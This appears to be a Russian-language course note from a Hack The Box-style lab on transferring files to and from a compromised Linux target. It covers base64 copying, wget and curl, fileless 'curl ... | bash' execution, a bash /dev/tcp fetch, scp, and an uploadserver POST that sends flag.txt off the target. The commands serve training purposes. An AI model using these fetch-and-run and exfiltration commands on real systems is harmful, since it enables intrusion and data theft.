June 8, 2025

Передача файлов. Часть 2. Передача файлов в Linux.

____________________________________________________________________________________

Глава 2. ПЕРЕДАЧА ФАЙЛОВ В LINUX.

  1. ЗНАЧЕНИЕ ПЕРЕДАЧИ ФАЙЛОВ В LINUX.
  2. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ КОДИРОВАНИЯ BASE64.
  3. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ WGET И CURL.
  4. ПЕРЕДАЧА ДАННЫХ БЕЗ ЗАГРУЗКИ ФАЙЛОВ.
  5. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ BASH (/DEV/TCP).
  6. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ SSH (SCP).
  7. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-СЕРВЕРА UPLOADSERVER.
  8. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-СЕРВЕРА PYTHON, PHP ИЛИ RUBY.

____________________________________________________________________________________

§ 2.1. ЗНАЧЕНИЕ ПЕРЕДАЧИ ФАЙЛОВ В LINUX.

2.1.1) ПЕРЕДАЧА ФАЙЛОВ В LINUX — Linux является универсальной ОС, которая обычно имеет много различных инструментов, которые мы можем использовать для передачи файлов. Понимание методов передачи файлов в Linux может помочь злоумышленникам улучшить свои навыки атак на сети, а защитникам улучшить свои навыки по предотвращению сложных атак на сети.

В этой теме будем рассматривать ситуации, когда мы изначально имеем первоначальный доступ к целевой системе и нам нужно:

  1. Загрузить файл на целевую систему Linux из нашего компьютера.
  2. Загрузить файл из целевой системы Linux на наш компьютер.

2.1.2) ПРИМЕР РЕАЛЬНОЙ АТАКИ, ГДЕ ИСПОЛЬЗОВАЛИСЬ МНОЖЕСТВЕННЫЕ МЕТОДЫ ПЕРЕДАЧИ ФАЙЛОВ ДЛЯ ОБХОДА ЗАЩИТЫ LINUX.

В целевой компании был обнаружен злоумышленник на нескольких веб-серверах Linux. Чтобы проникнуть на веб-сервер, злоумышленник использовал уязвимость SQLi для внедрения на веб-сервер. Далее он использовал скрипт Bash, который при запуске пытался загрузить код другой вредоносной программы, которая была подключена к серверу управления злоумышленника.

Скрипт Bash пытался выполнить три способа загрузки, чтобы получить код другой вредоносной программы. Сначала скрипт пытался загрузить код через cURL. При неудачной попытке загрузки затем использовался wget, и если это не удавалось, то скрипт использовал Python. Все три способа загрузки используют протокол HTTP для обмена данными.

Хотя Linux может взаимодействовать через FTP, SMB, как и Windows, большинство вредоносных программ во всех различных операционных системах используют HTTP и HTTPSдля общения.

Хотя Linux, как и Windows, может обмениваться данными через протоколы FTP и SMB, большинство вредоносных программ во всех различных ОС используют для обмена данными протоколы HTTP и HTTPS.

§ 2.2. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ КОДИРОВАНИЯ BASE64.

2.2.1) КОДИРОВАНИЕ BASE64 — мы можем закодировать передаваемый файл в строку Base64 в терминале нашего компьютера, скопировать строку Base64 в терминал целевой системы Linux и декодировать его там обратно в исходное содержимое. То же самое можно сделать и в обратном направлении.

Важным условием при использовании этого способа является обеспечение правильности кодирования и декодирования файла. Можно использовать программу md5sum, которая вычисляет и проверяет 128-битные контрольные хэш-суммы MD5. Поскольку хэш-сумма MD5 действует как компактный цифровой отпечаток файла, то кодированный и декодированный файл должны иметь одинаковую хэш-сумму.

Примечание: Этот метод не всегда можно использовать. Поскольку командная строка Linux имеет максимальную длину строки 4096 символов, то мы не сможем декодировать строки, превышающие 4096 символов.

2.2.2) ПЕРЕДАЧА ФАЙЛОВ НА ЦЕЛЕВУЮ СИСТЕМУ LINUX.

ЭТАП 1. Например, мы хотим передать из нашего компьютера некий файл (upload_nix.zip) на целевую систему Linux, к которой изначально получили доступ через SSH-сервер.

Сначала нужно проверить хэш-сумму передаваемого файла:

md5sum передаваемыйФайл

Мы получили хэш-сумму передаваемого файла "upload_nix.zip", которая нам понадобится на 4-м этапе.

ЭТАП 2. Закодировать передаваемый файл "upload_nix.zip" в формат Base64:

cat передаваемыйФайл |base64 -w 0;echo

Мы получили файл "upload_nix.zip" в формате Base64.

ЭТАП 3. Декодировать строку Base64 в терминале целевой системы Linux (к ней мы получили доступ через SSH-сервер):

echo -n 'строкаBase64' | base64 -d > upload_nix1.zip

  • base64 -d > upload_nix1.zip — эта команда декодирует строку Base64 в файл "upload_nix1.zip", который сохранится на целевой системе Linux.

Мы декодировали строку Base64 обратно в исходное содержимое и поместили её в файл "upload_nix1.zip".

ЭТАП 4. Подтвердить, что файл был успешно передан на целевую систему Linux с помощью команды:

md5sum переданныйФайл

Мы получили хэш-сумму MD5 переданного файла. Теперь эту хэш-сумму нужно сравнить с хэш-суммой этого же файла, полученной на 1-м этапе. Если обе хэш-суммы будут совпадать, значит файл "upload_nix1.zip" был правильно загружен на целевую систему Linux.

2.2.3) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX. Процесс передачи файлов из целевой системы Linux на наш компьютер аналогичен тому процессу, что описан выше (пункт 2.2.2). Просто нужно поменять местами выполняемые действия.

§ 2.3. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ WGET И CURL.

2.3.1) СКАЧИВАНИЕ ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX ЧЕРЕЗ WGET:

wget http://целевойРесурс/скачиваемыйФайл

wget http://целевойРесурс/скачиваемыйФайл -O /местоЗагрузкиФайла/имяФайла

2.3.2) СКАЧИВАНИЕ ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX ЧЕРЕЗ CURL:

curl -o /местоЗагрузкиФайла/имяФайла http://целевойРесурс/скачиваемыйФайл

§ 2.4. ПЕРЕДАЧА ДАННЫХ БЕЗ ЗАГРУЗКИ ФАЙЛОВ.

2.4.1) ПЕРЕДАЧА ДАННЫХ БЕЗ ЗАГРУЗКИ ФАЙЛОВ — благодаря принципам работы pipes operate в Linux, можно использовать большинство инструментов загрузки для репликации безфайловых операций то есть нам не нужно загружать файл для его выполнения.

Однако, некоторые полезные нагрузки, такие как mkfifo, могут записывать файлы на диск целевой системы Linux. Нужно также иметь в виду, что безфайловые операции могут создавать временные файлы в целевой ОС, в зависимости от использованной полезной нагрузки.

2.4.2) ПЕРЕДАЧА ДАННЫХ В ЦЕЛЕВОЙ СИСТЕМЕ LINUX. Если мы хотим выполнить файл без загрузки самого файла на целевой системе Linux, то сделать это можно с помощью следующих инструментов:

I) CURL:

curl http://целевойРесурс/выпоняемыйФайл | bash

Мы выполнили файл "LinEnum.sh" на целевой системе Linux, без загрузки самого файла.

II) WGET:

wget -qO- http://целевойРесурс/выпоняемыйФайл | python3

§ 2.5. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ BASH (/DEV/TCP).

2.5.1) ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ BASH (/DEV/TCP) — если установлена (где установлена: на целевой системе Linux или на моём компе?) Bash версии 2.04 или выше (скомпилированный с помощью команды --enable-net-redirections), то встроенный файл устройства /dev/TCP может использоваться для простой загрузки файлов.

ДАЛЕЕ ВСЁ, КАК ОПИСАНО В HTB, ПРОСТО Я НИФИГА НЕ ПОНЯЛ:

Подключится к целевому веб-серверу:

exec 3<>/dev/tcp/10.10.10.32/80

HTTP-запрос GET:

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Вывести ответ:

cat <&3

§ 2.6. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ SSH (SCP).

2.6.1) ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ SSH — SSH поставляется по умолчанию с инструментом SCP, с помощью SCP можно копировать файлы и каталоги между двумя хостами. Следовательно можно копировать файлы с нашего компьютера на удалённый сервер и наоборот.

2.6.2) ПЕРЕДАЧА ФАЙЛОВ НА ЦЕЛЕВУЮ СИСТЕМУ LINUX.

ЭТАП 1. Например, мы хотим передать из нашего компьютера некий файл (flag.txt) на целевую систему Linux, к которой изначально имеем доступ через SSH-сервер.

Сначала нужно включить службу SSH-сервера на нашем компьютере:

sudo systemctl enable ssh

Теперь можно запустить SSH-сервер на нашем компьютере:

sudo systemctl start ssh

Мы можем проверить статус SSH-сервера, запущена она или нет:

service ssh status или
sudo systemctl status ssh

ЭТАП 2. Отправить передаваемый файл (flag.txt) из нашего компьютера на целевую систему Linux с помощью команды:

scp передаваемыйФайл имяПользователя@IPудалённогоСервера:/кудаЗагрузитьФайл

  • flag.txt — передаваемый файл.
  • htb-student@10.129.234.168 — это имя пользователя и IP-адрес удалённого SSH-сервера, через который мы и имеем доступ к целевой системе Linux.
  • /home/htb-student — это местоположение в целевой системе Linux, куда загрузится передаваемый файл "flag.txt".

Мы загрузили файл "flag.txt" на целевую систему Linux:

2.6.3) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX. Процесс передачи файлов из целевой системы Linux на наш компьютер аналогичен тому процессу, что описан выше (пункт 2.6.2). Просто нужно поменять местами выполняемые действия.

§ 2.7. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-СЕРВЕРА UPLOADSERVER.

2.7.1) ВЕБ-СЕРВЕР UPLOADSERVERэто расширенный HTTP-сервер, который позволяет принимать загрузки с внешних компьютеров, что невозможно по умолчанию в большинстве инструментах для создания веб-серверов, в том числе и в обычном HTTP-сервере Python.

2.7.2) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX.

ЭТАП 1. Например, мы хотим отправить из целевой системы Linux на наш компьютер некий файл (flag.txt). Сначала нужно установить на нашем компьютере веб-сервер uploadserver:

pipx install uploadserver

Веб-сервер uploadserver был установлен с помощью нестандартной команды "pipx", поскольку стандартным способом данный сервер не устанавливается на Kali Linux.

ЭТАП 2. Создать самоподписанный сертификат на нашем компьютере для веб-сервера uploadserver:

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Мы создали самоподписанный сертификат с именем "server.pem". Сертификат должен храниться в отдельном каталоге, чем тот каталог, откуда будет запущен веб-сервер uploadserver. Сохраним сертификат в каталоге /tmp.

ЭТАП 3. Запустить на нашем компьютере веб-сервер uploadserver:

uploadserver 443 --server-certificate /tmp/server.pem

  • --server-certificate /tmp/server.pem — указали веб-серверу каталог, где находится самоподписанный сертификат "server.pem", созданный на 2-м этапе.

Если веб-сервер uploadserver был установлен стандартным способом (см. выше), то его нужно запустить с помощью команды: "python3 -m uploadserver".

ЭТАП 4. Отправить передаваемый файл "flag.txt" из целевой системы Linux на наш компьютер с помощью команды:

curl -X POST https://IPнашегоКомпьютера/upload -F 'files=@передаваемыйФайл' --insecure

  • /upload — это страница загрузки веб-сервера uploadserver по умолчанию, который нужно всегда указывать. На нашем компьютере нет такого каталога, передаваемый файл скачается в тот каталог, откуда запущен веб-сервер.
  • -F 'files=@/home/htb-student/flag.txt' — это местоположение передаваемого файла на целевой системе Linux. Если нужно отправить несколько файлов, то можно дублировать эту команду (-F 'files=@файл1.txt' -F 'files=@файл2.txt').
  • --insecure — эта команда указывает, что мы используем самоподписанный сертификат, которому доверяем.

Мы успешно отправили из целевой системы Linux на наш компьютер файл "flag.txt":

§ 2.8. ПЕРЕДАЧА ФАЙЛОВ С ПОМОЩЬЮ ВЕБ-СЕРВЕРА PYTHON, PHP, RUBY.

2.8.1) ПЕРЕДАЧА ФАЙЛОВ ИЗ ЦЕЛЕВОЙ СИСТЕМЫ LINUX.

Поскольку в дистрибутивах Linux обычно установлен Python, PHP или Ruby, то можно запустить на целевой системе Linux веб-сервер на основе этих языков, чтобы передать файлы.

Например, мы хотим отправить из целевой системы Linux на наш компьютер некий файл (flag.txt).

ЭТАП 1. Запустить на целевой системе Linux веб-сервер Python, PHP или Ruby:

I) PYTHON:

python3 -m http.server или python2.7 -m SimpleHTTPServer

II) PHP:

php -S 0.0.0.0:8000

III) RUBY:

ruby -run -ehttpd . -p8000

Примечание: Когда мы запускаем новый веб-сервер на целевой системе Linux с использованием Python, PHP или Ruby, то возможно входящий трафик может быть заблокирован брандмауэром целевой системы. Ведь передача файлов с целевой системы на чужой компьютер часто оценивается как угроза.

ЭТАП 2. Скачать передаваемый файл "flag.txt" из целевой системы Linux на наш компьютер с помощью команды:

wget IPцелевойСистемыLinux:8000/flag.txt

Мы успешно скачали файл "flag.txt" из целевой системы Linux на наш компьютер.

2.8.2) ПЕРЕДАЧА ФАЙЛОВ НА ЦЕЛЕВУЮ СИСТЕМУ LINUX. Процесс передачи файлов на целевую систему Linux из нашего компьютера аналогичен тому процессу, что описан выше (пункт 2.8.1). Просто нужно поменять местами выполняемые действия.